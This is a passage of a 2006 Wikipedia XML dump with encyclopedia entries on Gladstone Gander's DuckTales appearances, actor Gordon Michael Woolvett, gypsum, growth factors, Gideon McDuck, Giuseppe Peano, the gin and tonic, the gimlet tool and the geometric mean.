[[Image:DucktalesGladstone.jpg|thumb|260px|Gladstone as seen in ''DuckTales''.]]Gladstone appeared briefly in the [[animated series]] [[DuckTales]]. The episode &quot;A Dime Enough for Luck&quot; featured Gladstone as an unwitting stooge for [[Magica De Spell]] in one of her attempts to steal Scrooge's [[Number One Dime]]. (Probably not coincidentally, this was the thirteenth episode of DuckTales (see [[thirteen]] and [[numerology]]).) His [[voice actor]] was [[Rob Paulsen]], later noted for playing Pinky on the cartoon [[Pinky and the Brain]]. He makes a brief appearance in &quot;Dr. Jekyll &amp; Mr. McDuck&quot; in an auction scene, where he accidentally bids on an item that turns out to be valuable. This inspires Scrooge to bid on the next item  - a trunk containing Dr. Jekyll's formula - which sets the plot in motion. He also made non-speaking cameo appearances in the episodes &quot;Sweet Duck of Youth&quot; and &quot;Till Nephews Do Us Part&quot;, as well as an episode of ''[[House of Mouse]]''. Otherwise, Gladstone is unknown to the world of animation, but he remains a prominent character of the [[Scrooge McDuck Universe]] and is strongly familiar to its readers.

==External links==
*[http://coa.duckburg.dk/coa/c1/character.php/0/GL His profile in the Inducks]
*[http://users.cwnet.com/xephyr/rich/dzone/hoozoo/gladstone.html Gladstone's profile on Disney's HooZoo]
*[http://donaldduckcomics.com Comics with him and his rival Donald Duck]
*[http://victorian.fortunecity.com/palace/439/characters/gladston.html His profile in a &quot;Who is Who in Duckburg&quot;]
*[http://www.geocities.com/komixgreekpage/komix140.htm A Rosa interview on his view of Gladstone]
*[http://us.imdb.com/Name?Paulsen,+Rob His voice actor's profile in the Internet Movie Database]

[[Category:Characters in the Scrooge McDuck universe|Gander, Gladstone]]
[[Category:Fictional ducks|Gander, Gladstone]]

[[da:Fætter Højben]]
[[de:Bewohner_von_Entenhausen#Gustav_Gans]]
[[es:Glad Consuerte]]
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[[sv:Alexander Lukas]]</text>
    </revision>
  </page>
  <page>
    <title>Gordon Michael Woolvett</title>
    <id>13039</id>
    <revision>
      <id>37814325</id>
      <timestamp>2006-02-02T07:44:34Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Gordon Michael Woolvett''' (born [[June 12]], [[1970]]) is a [[Canada|Canadian]]-born [[actor]] best known for his work as [[Seamus Zelazny Harper]] on the [[Television program|television series]] ''[[Andromeda (television)|Andromeda]]'' (2000-2005).  Previous to ''Andromeda'' he starred in another [[science fiction]] TV show, ''[[Deepwater Black]]''.  He also was in an episode of PSI Factor: chronicles of the paranormal.

Woolvett was also one of the first program jockeys for [[YTV (Canadian television)|YTV]]'s ''[[The Zone]]'' (then called ''The After-School Zone'') and the original main host for a program called ''[[Video and Arcade Top 10]]'' which also aired on YTV.

Woolvett acted in the [[1999]] [[Television movie|made-for-TV]] [[Film|movie]] ''[[Ultimate Deception]]'' with [[Yasmine Bleeth]].

==Film credits==
*''[[The Highwayman]]'' ([[1999]]) - Walter
*''[[Ultimate Deception]]'' ([[1999]]) - Frank McThomas
*''[[Bride of Chucky]]'' ([[1998]]) - David
*''Clutch'' ([[1998]]) - Spit

[[Category:1970 births|Woolvett, Gordon Michael]]
[[Category:Living people|Woolvett, Gordon Michael]]
[[Category:Canadian actors|Woolvett, Gordon Michael]]
[[Category:Andromeda actors|Woolvett, Gordon Michael]]
[[de:Gordon Michael Woolvett]]
[[es:Gordon Michael Woolvett]]</text>
    </revision>
  </page>
  <page>
    <title>Gypsum</title>
    <id>13040</id>
    <revision>
      <id>41893637</id>
      <timestamp>2006-03-02T12:33:06Z</timestamp>
      <contributor>
        <username>Collieman</username>
        <id>485396</id>
      </contributor>
      <minor />
      <comment>Minor internal link to H&amp;S and silo cleaning</comment>
      <text xml:space="preserve">{| border=1 cellspacing=0 align=right cellpadding=0 width=250 valign=top style=&quot;margin-left:1em&quot;
|----- align=center bgcolor=&quot;#9966FF&quot;
!colspan=2 align=center|Gypsum
|-
!colspan=2 | [[Image:desert-rose-big.jpg|250px|Desert rose, 10 cm long]] &lt;br&gt; [[Desert rose]], 10 cm long
|----- align=center bgcolor=&quot;#9966FF&quot;
!colspan=2|General
|-----
|Category|| Mineral
|-----
|[[Chemical formula]]|| CaSO&lt;sub&gt;4&lt;/sub&gt;'''&amp;middot;'''2H&lt;sub&gt;2&lt;/sub&gt;O
|----- align=&quot;center&quot; bgcolor=&quot;#9966FF&quot;
!colspan=2|Identification
|-----
| Colour || White to grey, pinkish-red
|-----
| [[Crystal habit]] || Massive, flat. Elongated and generally prismatic crystals.
|-----
| [[Crystal structure|Crystal system]] || Monoclinic
|-----
| [[Cleavage (crystal)|Cleavage]]|| 2 good (66° and 114°)
|-----
| [[Fracture]]|| Conchoidal, sometimes fibrous
|-----
| [[Mohs Scale]] hardness || 1.5-2
|-----
| Luster || Vitreous to silky or pearly lustre
|-----
| [[Refractive index]]|| 1.522
|-----
| [[Pleochroism]]|| None
|-----
| [[Streak]]|| White
|-----
| [[Specific gravity]]|| 2.31 - 2.33
|-----
| [[Fusibility]]|| ?
|-----
| [[Solubility]]|| No reaction to acid.
|----- align=&quot;center&quot; bgcolor=&quot;#9966FF&quot;
!colspan=2|Major varieties
|-----
| [[Satin Spar]]|| Pearly, fibrous masses
|-----
| [[Selenite]] || Transparent and bladed crystals
|-----
| [[Alabaster]] || Fine-grained, slightly coloured
|-----
|}
'''Gypsum''' is a very soft [[mineral]] composed of '''[[calcium sulfate]] dihydrate''', with the [[chemical formula]] CaSO&lt;sub&gt;4&lt;/sub&gt;'''&amp;middot;'''2H&lt;sub&gt;2&lt;/sub&gt;O.

==Chemical structure==

Heating gypsum to between 100°C and 150°C (302°F) partially [[dehydrate]]s the mineral by driving off exactly 75% of the water contained in its chemical structure. The temperature and time needed depend on ambiant partial pressure of H&lt;sub&gt;2&lt;/sub&gt;O. Temperatures as high as 170°C are used in industrial calcination, but at these temperatures the anhydrite begins to be formed.
The reaction for the partial dehydration is:

&lt;nowiki&gt;CaSO&lt;/nowiki&gt;&lt;sub&gt;4&lt;/sub&gt;·2H&lt;sub&gt;2&lt;/sub&gt;O + heat &amp;rarr; &lt;nowiki&gt;CaSO&lt;/nowiki&gt;&lt;sub&gt;4&lt;/sub&gt;·&amp;frac12;H&lt;sub&gt;2&lt;/sub&gt;O + 1&amp;frac12;H&lt;sub&gt;2&lt;/sub&gt;O (steam)

The partially dehydrated mineral is called '''calcium sulfate hemihydrate''' or '''calcined gypsum''' (commonly known as [[plaster of Paris]]) (&lt;nowiki&gt;CaSO&lt;/nowiki&gt;&lt;sub&gt;4&lt;/sub&gt;·&amp;frac12;H&lt;sub&gt;2&lt;/sub&gt;O).

The dehydration (specifically known as [[calcination]]) begins at approximately 80°C (176°F), although in dry air, some dehydration will take place already at 50°C. The heat energy delivered to the gypsum at this time (the '''heat of hydration''') tends to go into driving off water (as water vapor) rather than increasing the temperature of the mineral, which rises slowly until the water is gone, then increases more rapidly.

The [[endothermic]] property of this reaction is exploited by [[drywall]] to confer fire resistance on residential and other structures. In a fire the structure behind a sheet of drywall will remain relatively cool as water is  lost from the gypsum, thus preventing (or substantially retarding) damage to the [[framing]] (through [[combustion]] of [[wood]] members or loss of strength of [[steel]] at high temperatures) and consequent structural collapse.

In contrast to most minerals, which when rehydrated simply form liquid or semi-liquid pastes, or remain powdery, calcined gypsum has an unusual property: when mixed with water at normal (ambient) temperatures, it quickly reverts chemically to the preferred dihydrate form, while physically &quot;setting&quot; to form a rigid and relatively strong gypsum crystal lattice:

&lt;nowiki&gt;CaSO&lt;/nowiki&gt;&lt;sub&gt;4&lt;/sub&gt;·&amp;frac12;H&lt;sub&gt;2&lt;/sub&gt;O + 1&amp;frac12;H&lt;sub&gt;2&lt;/sub&gt;O &amp;rarr; &lt;nowiki&gt;CaSO&lt;/nowiki&gt;&lt;sub&gt;4&lt;/sub&gt;·2H&lt;sub&gt;2&lt;/sub&gt;O       This reaction is [[exothermic]].

This phenomenon is responsible for the ease with which gypsum can be cast into various shapes including sheets (for drywall), sticks (for blackboard chalk), and molds (to immobilize broken bones, or for metal casting). Mixed with polymers, it has been used as a bone repair cement. Small amounts of calcined gypsum are added to earth to create strong structures directly from [[cast earth]], an alternative to [[adobe]] (which loses its strength when wet). The conditions of dehydration can be changed to adjust the porosity of the hemihydrate, resulting in the so-called alpha and beta hemihydrates (which are more or less chemically identical).

The anhydrous form, called '''anhydrous calcium sulfate''' (sometimes [[anhydrite]]), is produced by further heating to above approximately 180°C (356°F) and has the chemical formula &lt;nowiki&gt;CaSO&lt;/nowiki&gt;&lt;sub&gt;4&lt;/sub&gt;.
Anhydrite reacts slowly with water to return to the dihydrated state.

==Occurrence==
[[Image:Gypsum Australia.jpg|thumb|left|200px|Gypsum from New South Wales, Australia]]
Gypsum occurs in nature as flattened and often [[Crystal twinning|twinned]] [[crystal]]s and transparent cleavable masses called [[selenite]]. It may also occur silky and fibrous, in which case it is commonly called ''satin spar''. Finally it may also be granular or quite compact. In hand-sized samples, it can be anywhere from transparent to opaque. A very fine-grained white or lightly-tinted variety of gypsum is called [[alabaster]], which is prized for ornamental work of various sorts. In arid areas, gypsum can occur in a flower-like form typically opaque with embedded sand grains called [[desert rose]].

Gypsum is a very common mineral, with thick and extensive [[evaporite]] beds in association with [[sedimentary rock]]s. The largest deposits known occur in [[Stratum|strata]] from the [[Permian]] age. Gypsum is deposited in lake and sea water, as well as in [[hot spring]]s, from [[volcano|volcanic]] vapors, and sulfate solutions in veins. [[Hydrothermal]] [[anhydrite]] in veins is commonly hydrated to gypsum by groundwater in near surface exposures. It is often associated with the minerals [[halite]] and [[sulfur]].

The word gypsum is derived from the [[aorist]] form of the [[Greek language|Greek]] verb ''&amp;#956;&amp;#945;&amp;#947;&amp;#949;&amp;#953;&amp;#961;&amp;#949;&amp;#973;&amp;#969;'', &quot;to cook&quot;, referring to the burnt or calcined mineral. Because the gypsum from the [[quarry|quarries]] of the [[Montmartre]] district of [[Paris]] has long furnished burnt gypsum used for various purposes, this material has been called plaster of Paris.

Commercial quantities of gypsum are found in [[Germany]], [[Italy]], [[England]], [[Canada]], and in [[New York]], [[Michigan]], [[Iowa]], [[Kansas]], [[Arizona]], [[New Mexico]], [[Colorado]], [[Utah]] and [[Nevada]] in the [[United States]]. There is also a large mine located at Plaster City, California in Imperial County.

A growing source of gypsum is from [[Flue gas desulfurization]] which scrubs the sulfur emissions from [[fossil fuel]] burning [[power stations]]. This is done by using finely ground [[limestone]] which reacts with the [[sulfur dioxide]] to produce high purity gypsum as a [[by-product]].

==Uses==
*Blackboard [[chalk]]
*[[Cement]]
*[[Drywall]]
*[[Plaster]], a construction material
*[[Dental mode|Dental modes]]
*[[Surgical cast|Surgical casts]]
*[[Paint filler]]
*[[Toothpaste]]
*[[Gesso]]
*Molds for [[Casting]] metals
*Agricultural [[soil amendment]]
*Solidifying earth ([[cast earth]] construction)
*[[Tofu]]coagulation
*Improving mineral content of [[brewing]] water
*Dietary [[calcium]] additives in [[breads]] and [[cereals]]
*[[Pharmaceuticals]]

See also: [[List of minerals]]

==External links==
*[http://webmineral.com/data/Gypsum.shtml WebMineral data]
*[http://www.mindat.org/min-1784.html Mineral Data]

== Place names ==

'''Gypsum''' is also the name of several towns in the [[United States|United States of America]]:

*[[Gypsum, Kansas]]
*[[Gypsum, Ohio]]
*[[Gypsum, Colorado]]


==See also==
*[[lime (mineral)]] - related minerals
*[[United States Gypsum Corporation]] - largest producer of gypsum products in North America
*[[Acoustic cleaning|Acoustic cleaners, health and safety when cleaning gypsum Silos]]

[[category:Calcium minerals]]
[[Category:Sulfate minerals]]
[[Category:Sedimentary rocks]]

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[[zh:石膏]]</text>
    </revision>
  </page>
  <page>
    <title>Growth factor</title>
    <id>13041</id>
    <revision>
      <id>40487091</id>
      <timestamp>2006-02-20T22:50:51Z</timestamp>
      <contributor>
        <username>Delldot</username>
        <id>476500</id>
      </contributor>
      <comment>major copy edit, move detailed info on [[fibroblast growth factor]] to new page</comment>
      <text xml:space="preserve">__NOTOC__
'''Growth factor''' is a [[protein]] that acts as a signaling molecule between cells (like [[cytokine]]s and [[hormone]]s) that attaches to specific [[receptor (biochemistry)|receptor]]s on the surface of a target [[cell (biology)|cell]] and promotes differentiation and maturation of these cells.  

==Growth factors and cytokines==
The term ''growth factor'' is sometimes used interchangeably among scientitsts with the term ''[[cytokine]].''  Historically, cytokines were associated with [[hematopoietic]] (blood forming) cells and [[immune system]] cells (e.g., lymphocytes and tissue cells from [[spleen]], [[thymus]], and [[lymph node]]s).  For the [[circulatory system]] and [[bone marrow]] in which cells can occur in a liquid suspension and not bound up in solid [[tissue (biology)|tissue]], it makes sense for them to communicate by soluble, circulating protein [[molecule]]s.   However, as different lines of research converged, it became clear that some of the same signaling proteins the hematopoietic and [[immune system]]s used were also being used by all sorts of other cells and tissues, during development and in the mature organism.

''Growth factor'' signifies a positive effect on cell growth and [[cellular differentiation]], but ''cytokine'' is a neutral term in regards to what it is being signaled.  In this sense, some cytokines can be growth factors such as G-CSF and GM-CSF as listed below.  However some cytokines are actually used as &quot;death&quot; signals, such as the [[FAS ligand]], which causes target lymphocytes to commit a form of suicide known as programmed [[cell death]] or ''[[apoptosis]]''.  

==Types==
Individual growth factor proteins tend to occur as members of larger families of structurally and [[evolution]]arily related proteins.  There are dozens and dozens of growth factor families such as TGF-beta ([[transforming growth factor]]), BMP ([[bone morphogenic protein]]), [[neurotrophin]]s (NGF, BDNF, and NT3), [[fibroblast growth factor]] (FGF), and so on.  

Several well known growth factors are:
* [[granulocyte-colony stimulating factor]] (G-CSF)
* [[granulocyte-macrophage colony stimulating factor]] (GM-CSF)
*[[nerve growth factor]] (NGF)
*[[neurotrophins]] 
* [[platelet-derived growth factor]] (PDGF)
* [[erythropoietin]] (EPO)
* [[thrombopoietin]] (TPO)
* [[myostatin]] (GDF-8)
* [[Growth Differentiation factor-9]] (GDF9)
* [[basic fibroblast growth factor]] (bFGF or FGF2)

==Uses in medicine==
For the last two decades, growth factors have been increasingly used in
treatment of [[hematology|hematologic]] and [[oncology|oncologic]] diseases
like:
* [[neutropenia]]
* [[myelodysplastic syndrome]] (MDS)
* [[leukemia]]s
* [[aplastic anaemia]]
* [[bone marrow]] transplantation

== See also ==
* [[Signal transduction]]
* [[Receptor (biochemistry)]]
* [[Cytokine]]
* [[Angiogenesis]]
* [[Human Genome Organisation]]

[[Category:Cell biology]]
[[Category:Growth factors|*]]

[[de:Wachstumsfaktor]]
[[es:factor de crecimiento]]</text>
    </revision>
  </page>
  <page>
    <title>Gideon McDuck</title>
    <id>13042</id>
    <revision>
      <id>28602874</id>
      <timestamp>2005-11-17T16:59:02Z</timestamp>
      <contributor>
        <username>Supermorff</username>
        <id>239586</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Gideon McDuck''' is a [[fictional character]] and [[duck]] who appears in various [[Walt Disney]] comics. He was created by [[Romano Scarpa]], and made his first appearance in a story published on [[February 10]], [[1956]].

Gideon is presented as [[Scrooge McDuck]]'s younger brother, and mainly appears in [[Italy|Italian]] comic stories; in those stories, Gideon is the editor of the [[newspaper]] &quot;The Cricket&quot;, the most credible newspaper in [[Duckburg]]. Gideon also has an antagonistic relationship with his brother Scrooge.

Gideon's existence doesn't agree with [[Carl Barks]]'s view of Scrooge as the last of [[The Clan McDuck|the Clan McDuck]]. Though [[Don Rosa]] hasn't used him in his family tree or his timelines, some fans have suggested that Gideon could be an [[illegitimate]] son of [[Fergus McDuck]], born somewhere between the death of Fergus' wife on [[1897]] (by Rosa's timelines) and Fergus' own death on [[1902]]. Additionally, by the same timeline, Gideon would have died sometime after [[1970]], probably having outlived Scrooge, though his exact dates of birth and death are still unknown. Under this theory, it still would leave Scrooge as the last legitimate McDuck. 

Gideon is also a younger half-brother of [[Rumpus McFowl]], [[Matilda McDuck]] and [[Hortense McDuck]].

[[Category:Characters in the Scrooge McDuck universe|McDuck, Gideon]]
[[Category:Fictional Scots|McDuck, Gideon]]


[[it:Gedeone de Paperoni]]</text>
    </revision>
  </page>
  <page>
    <title>Giuseppe Peano</title>
    <id>13043</id>
    <revision>
      <id>41805192</id>
      <timestamp>2006-03-01T21:41:19Z</timestamp>
      <contributor>
        <username>Fernando S. Aldado</username>
        <id>832904</id>
      </contributor>
      <comment>interwiki</comment>
      <text xml:space="preserve">[[Image:Giuseppe Peano.jpg|right|frame|Giuseppe Peano]]

'''Giuseppe Peano''' ([[August 27]], [[1858]],[[Spinetta]] ([[Piedmont]]) [[Italy]] &amp;ndash; [[April 20]], [[1932]] [[Torino]]) was the leading [[Italy|Italian]] [[mathematician]] of his day, whose work is of exceptional [[philosopher|philosophical]] value. The author of over 200 books and papers, he was a founder of [[mathematical logic]] and [[set theory]], to which he contributed much notation. The standard [[Peano axioms|axiomatization]] of the [[natural number]]s is named in his honor. He spent most of his career teaching mathematics at the [[University of Turin]].

== Milestones and honors received ==
* [[1881]]: Published first paper.
* [[1884]]: ''Calcolo Differenziale e Principii di Calcolo Integrale''.
* [[1887]]: ''Applicazioni Geometriche del Calcolo Infinitesimale''.
* [[1889]]: Appointed Professor First Class at the Royal Military Academy.
* [[1890]]: Appointed Extraordinary Professor of [[infinitesimal calculus]] at the [[University of Torino]].
* [[1891]]: Made a member of the Academy of Science, Torino.
* [[1893]]: ''Lezioni di Analisi Infinitesimale'', 2 vols.
* [[1895]]: Promoted to Ordinary Professor. 
* [[1901]]: Made Knight of the Order of Saints Maurizio and Lazzaro.
* [[1903]]: Announces ''Latino sine flexione''.
* [[1905]]: Made Knight of the Crown of Italy. Elected a corresponding member of the [[Accademia dei Lincei]] in [[Rome]], the highest Italian honour for scientists. 
* [[1908]]: Fifth and final edition of the ''[[Formulario mathematico]]''.
* [[1917]]: Made an Officer of the Crown of Italy.
* [[1921]]: Promoted to Commendatore of the Crown of Italy.

== Life and Career ==
Peano was born and reared on a farm in the [[Piedmont]]. He enrolled at the nearby [[University of Turin]] in [[1876]], graduating in [[1880]] with high honours, after which the University employed him to assist first [[Enrico D'Ovidio]], then [[Angelo Genocchi]], the Chair of [[Calculus|infinitesimal calculus]]. Due to Genochii's poor health, Peano took over the teaching of the infinitesimal calculus course within 2 years.

His first major work, a textbook on calculus, was published in [[1884]] and credited to Genocchi.  Three years later, Peano published his first book dealing with mathematical logic.  Here the modern symbols for the [[union (set theory)|union]] and [[intersection (set theory)|intersection]] of sets appeared for the first time.

In [[1887]], Peano married Carola Crosio. In [[1886]], he began teaching concurrently at the [[Royal Military Academy (Italy)|Royal Military Academy]], and was promoted to Professor First Class in [[1889]]. The next year, the University of Turin also granted him his full professorship. 

Peano's famous [[space-filling curve]] appeared in [[1890]] as a [[counterexample]].   He used it to show that a continuous curve cannot always be enclosed in an arbitrarily small region. This was an early example of what came to be known as a [[fractal]].  

The following year Peano started the [[Formulario Project]].  It was to be an ''Encyclopedia of Mathematics&quot;, containing all known formulae and theorems of mathematical science using a standard notation invented by Peano. 

In [[1897]], the first [[International Congress of Mathematicians]] was held in [[Zürich]]. Peano was a key participant, presenting a paper on mathematical logic. He also started to become increasingly occupied with ''Formulario'' to the detriment of his other work.

In [[1898]] he presented a note to the Academy about [[Binary numeral system|binary numeration]] and its ability to be used to represent the sounds of languages. He also became so frustrated with publishing delays (due to his demand that formulae be printed on one line) that he purchased a printing press.

[[Paris]] was the venue for the Second [[International Congress of Mathematicians]] in [[1900]]. The conference was preceded by the First [[International Conference of Philosophy]] where Peano was a member of the patronage committee. He presented a paper which posed the question of correctly formed definitions in mathematics, i.e. &quot;how do you define a definition?&quot;. This became one of Peano's main philosophical interests for the rest of his life. At the conference Peano met [[Bertrand Russell]] and gave him a copy of ''Formulario'', Russell was so struck by Peano's innovative logical symbols that he left the conference and returned home to study Peano's text.  

Peano's followers presented papers (using Peano's teachings) at the mathematics conference, but Peano did not. A resolution calling for the formation of an &quot;international auxiliary language&quot; to facilitate the spread of mathematical (and commercial) ideas, was proposed; Peano fully supported it.

By [[1901]], Peano was at the peak of his mathematical career. He had made advances in the areas of [[mathematical analysis|analysis]], foundations and logic, made many contributions to the teaching of calculus and also contributed to the fields of [[differential equation]]s and [[vector (spatial)|vector]] analysis. Peano played a key role in the [[axiomatization]] of mathematics and was a leading pioneer in the development of mathematical logic. Peano had by this stage become heavily involved with the ''Formulario'' project and his teaching began to suffer. In fact, he became so determined to teach his new mathematical symbols that the calculus in his course was neglected. As a result he was dismissed from the Royal Military Academy but retained his post at Turin University.

In [[1903]] Peano announced his work on an international auxiliary language called ''[[Latino sine flexione]]'' (&quot;[[Latin]] without flexions,&quot; later called [[Interlingua]]).  This was an important project for him (along with finding contributors for 'Formulario').  The idea was to use Latin vocabulary, since this was widely known, but simplify the grammar as much as possible and remove all irregular and anomalous forms to make it easier to learn.  In a brilliant speech, he started speaking in Latin and, as he described each simplification, introduced it into his speech so that by the end he was talking in his new language.

[[1908]] was a big year for Peano. The final, fifth edition of the ''Formulario'' Project, titled ''Formulario Mathematico'', was published. It contained 4200 formulae and theorems, all completely stated and most of them proved. The book received little attention since much of the content was dated by this time. The comments and examples were written in ''Latino sine flexione'' which detracted from its appeal to most mathematicians; however, it remains a significant contribution to mathematical literature. 

Also in [[1908]], Peano took over the chair of higher analysis at Turin (this appointment was to last for only two years).  He was also elected the director of ''[[Academia pro Interlingua]]''.  Having previously created [[Idiom Neutral]], the Academy effectively chose to abandon it in favor of Peano's [[Latino sine flexione]].

After his mother died in [[1910]], Peano divided his time between teaching, working on texts aimed for secondary schooling including a dictionary of mathematics, and developing and promoting his and other [[artificial language]]s, becoming a revered member of the international auxiliary language movement. He used his membership of the ''Accademia dei Lincei'' to present papers written by friends and colleagues who were not members (the Accademia recorded and published all presented papers given in sessions).

In [[1925]] Peano switched Chairs unofficially from Infinitesimal Calculus to Complementary Mathematics, a field which better suited his current style of mathematics. This move became official in [[1931]].  Giuseppe Peano continued teaching at Turin University until the day before he died, when he suffered a fatal [[heart attack]].

:&quot;He [Peano] was a man I greatly admired from the moment I met him for the first time in 1900 at a Congress of Philosophy, which he dominated by the exactness of his mind.&quot; &amp;mdash; Bertrand Russell, [[1932]]

== Bibliography ==
Peano's writings in English translation:
*1889. &quot;The principles of arithmetic, presented by a new method&quot; in [[Jean van Heijenoort]], 1967. ''A Source Book in Mathematical Logic, 1879-1931''. Harvard Univ. Press: 83-97.
*1973. ''Selected works of Giuseppe Peano''. Kennedy, Hubert C., ed. and transl. With a biographical sketch and bibliography. London: Allen &amp; Unwin.

Secondary:
*Gillies, Douglas A., 1982. ''Frege, Dedekind, and Peano on the foundations of arithmetic''. Assen, Netherlands: Van Gorcum.
* [[Ivor Grattan-Guinness]], 2000. ''The Search for Mathematical Roots 1870-1940''. Princeton University Press.
*Kennedy, Hubert C., 1980. ''[http://home.att.net/~clairnorman/Peano2002.pdf Peano: Life and Works of Giuseppe Peano]''. Reidel. Biography with complete bibliography (p. 195-209).

== See also == 
* [[Peano axioms]] 

== External links ==
* {{MacTutor Biography|id=Peano}}

[[Category:1858 births|Peano, Giuseppe]]
[[Category:1932 deaths|Peano, Giuseppe]]
[[Category:20th century philosophers|Peano, Giuseppe]]
[[Category:Italian philosophers|Peano, Giuseppe]]
[[Category:Italian mathematicians|Peano, Giuseppe]]
[[Category:20th century mathematicians|Peano, Giuseppe]]
[[Category:Natives of Piedmont|Peano, Giuseppe]]

[[de:Giuseppe Peano]]
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    </revision>
  </page>
  <page>
    <title>Gin and tonic</title>
    <id>13044</id>
    <revision>
      <id>41419676</id>
      <timestamp>2006-02-27T04:58:55Z</timestamp>
      <contributor>
        <ip>199.212.76.186</ip>
      </contributor>
      <comment>changed &quot;off of&quot; to &quot;of&quot;</comment>
      <text xml:space="preserve">[[Image:Gin and Tonic.jpg|thumb|Gin and tonic]]

The '''gin and tonic''' is a [[cocktail]] made with [[gin]] and [[tonic water]], usually garnished with a slice of [[Lime (fruit)|lime]] or [[lemon]] and served over ice. 

The proportions of [[gin]] and [[tonic water]] vary. The typical recipe is for equal amounts (a 1:1 ratio), however it is often made far weaker as a casual drink; typically 1 part gin to 3 parts tonic. 

This cocktail was introduced by the [[British Empire|British]] in [[India]]. Tonic water contains [[quinine]], which was used to prevent [[malaria]]. Because the tonic water consumed to prevent malaria in the [[19th century]] was extremely bitter, gin was added to make it more palatable. Although there is less medical use today for the consumption of tonic water, the gin and tonic remains a popular drink. Note that tonic water available today contains less quinine and is consequently less bitter (and usually sweetened).  Because of this connection to warmer [[climate]]s and its refreshing nature, this cocktail is more popular during the warmer months.

The gin and tonic has gained a central place in cultural and literary life, appearing as a bit part in numerous novels. One such example is in the ''[[The Hitchhiker's Guide to the Galaxy|Hitchhiker's Guide to the Galaxy]]'' series, where it is stated that each race in the galaxy has developed a drink that is pronounced the same, but spelled differently (such as ''jynantonnyx'').  The reason for this is one of the great mysteries of the universe (granted, the versions from two different planets taste nothing like each other at all). It was also the preferred drink of Mrs. Slocombe (played by [[Mollie Sugden]]) of [[Are You Being Served?]] as she couldn't bear neat gin.

==See also==
* [[List of cocktails]]

==External links==
* [http://www.libraryinstruction.com/alcohol.html Ohio University's use of gin and tonic as a teaching aid]

&lt;!-- [[ja:&amp;#12472;&amp;#12531;&amp;#12539;&amp;#12488;&amp;#12491;&amp;#12483;&amp;#12463;]] --&gt;

[[Category:Cocktails with gin]]
[[Category:Quinine]]

[[de:Gin Tonic]]
[[ja:ジン・トニック]]
[[ko:진토닉]]</text>
    </revision>
  </page>
  <page>
    <title>Gimlet</title>
    <id>13045</id>
    <revision>
      <id>29952697</id>
      <timestamp>2005-12-02T21:51:46Z</timestamp>
      <contributor>
        <ip>71.197.176.251</ip>
      </contributor>
      <text xml:space="preserve">[[Image:gimlet - tool.jpg|thumb|right|250px|A gimlet]]
:''for the cocktail made with gin, see [[Gimlet (cocktail)]].''

A '''gimlet''' is a [[hand tool]] for [[drilling]] small holes, mainly in wood.  It was defined in Gwilt's ''Architecture'' (1859) as &quot;a piece of steel of a semi-cylindrical form, hollow on one side, having a cross handle at one end and a worm or screw at the other&quot;.

The term is also used figuratively to describe something as sharp or piercing, and also to describe the twisting, boring motion of using a gimlet. The term ''gimlet-eyed'' can mean sharp-eyed or squint-eyed.

[[Category:Woodworking hand tools]]


[[ja:&amp;#12462;&amp;#12512;&amp;#12524;&amp;#12483;&amp;#12488;]]</text>
    </revision>
  </page>
  <page>
    <title>Geometric mean</title>
    <id>13046</id>
    <revision>
      <id>38462420</id>
      <timestamp>2006-02-06T14:07:30Z</timestamp>
      <contributor>
        <ip>71.195.186.104</ip>
      </contributor>
      <comment>/* Relationship with arithmetic mean of logarithms */</comment>
      <text xml:space="preserve">The '''geometric mean''' of a [[set]] of [[positive data]] is defined as the [[Radical (mathematics)|nth root]] of the [[product (mathematics)|product]] of all the members of the set, where n is the number of members.

==Calculation==

In a formula: the geometric mean of 
''a&lt;sub&gt;1&lt;/sub&gt;'', ''a&lt;sub&gt;2&lt;/sub&gt;'', ..., ''a&lt;sub&gt;n&lt;/sub&gt;'' is &lt;math&gt;(a_1 \cdot a_2 \dotsb a_n)^{1/n}&lt;/math&gt;, which is &lt;math&gt;\sqrt[n]{a_1 \cdot a_2 \dotsb a_n}&lt;/math&gt;.

The geometric mean of a data set [[inequality of arithmetic and geometric means|is always smaller than or equal to]] the set's [[arithmetic mean]] (the two means are equal if and only if all members of the data set are equal). This allows the definition of the [[arithmetic-geometric mean]], a mixture of the two which always lies in between.

The geometric mean is also the ''arithmetic-harmonic mean'' in the sense that if two [[sequence|sequences]] (''a''&lt;sub&gt;''n''&lt;/sub&gt;) and (''h''&lt;sub&gt;''n''&lt;/sub&gt;) are defined:
:&lt;math&gt;a_{n+1} = \frac{a_n + h_n}{2}, \quad a_1=\frac{x + y}{2}&lt;/math&gt;
and
:&lt;math&gt;h_{n+1} = \frac{2}{\frac{1}{a_n} + \frac{1}{h_n}}, \quad h_1=\frac{2}{\frac{1}{x} + \frac{1}{y}}&lt;/math&gt;
then ''a''&lt;sub&gt;''n''&lt;/sub&gt; and ''h''&lt;sub&gt;''n''&lt;/sub&gt; will converge to the geometric mean of ''x'' and ''y''.

==Relationship with arithmetic mean of logarithms==

The [[product]] form of the geometric mean computation is expressed as:

:&lt;math&gt;\left(\prod_{i=1}^nx_i\right)^{1/n}&lt;/math&gt;

By using [[logarithmic identities]] to transform the formula, we can express the multiplications as a sum and the power as a multiplication.

:&lt;math&gt;\exp\left[\frac1n\sum_{i=1}^n\ln x_i\right]&lt;/math&gt;.

This is simply computing the [[arithmetic mean]] of the logarithm transformed values of &lt;math&gt;x_i&lt;/math&gt; (i.e. the arithmetic mean on the log scale) and then using the exponentiation to return the computation to the original scale. I.e., it is the [[generalised f-mean]] with f(x) = ln x.

Therefore the geometric mean is related to the [[log-normal distribution]].
The log-normal distribution is a distribution which is normal for the logarithm
transformed values. We see that the
geometric mean is the exponentiated value of the mean of the log transformed
values, e.g. e&lt;sup&gt;mean(ln(X))&lt;/sup&gt;.

==When to use the Geometric Mean==

The geometric mean is useful to determine &quot;average factors&quot;. For example, if a stock rose 10% in the first year, 20% in the second year and fell 15% in the third year, then we compute the geometric mean of the factors 1.10, 1.20 and 0.85 as (1.10 &amp;times; 1.20 &amp;times; 0.85)&lt;sup&gt;1/3&lt;/sup&gt; = 1.0391... and we conclude that the stock rose 3.91 percent per year, on average.

'''Put another way...'''

The arithmetic mean is relevant any time several quantities add together to produce a total. The arithmetic mean answers the question, &quot;if all the quantities had the same value, what would that value have to be in order to achieve the same total?&quot;

In the same way, the geometric mean is relevant any time several quantities multiply together to produce a product. The geometric mean answers the question, &quot;if all the quantities had the same value, what would that value have to be in order to achieve the same product?&quot; 

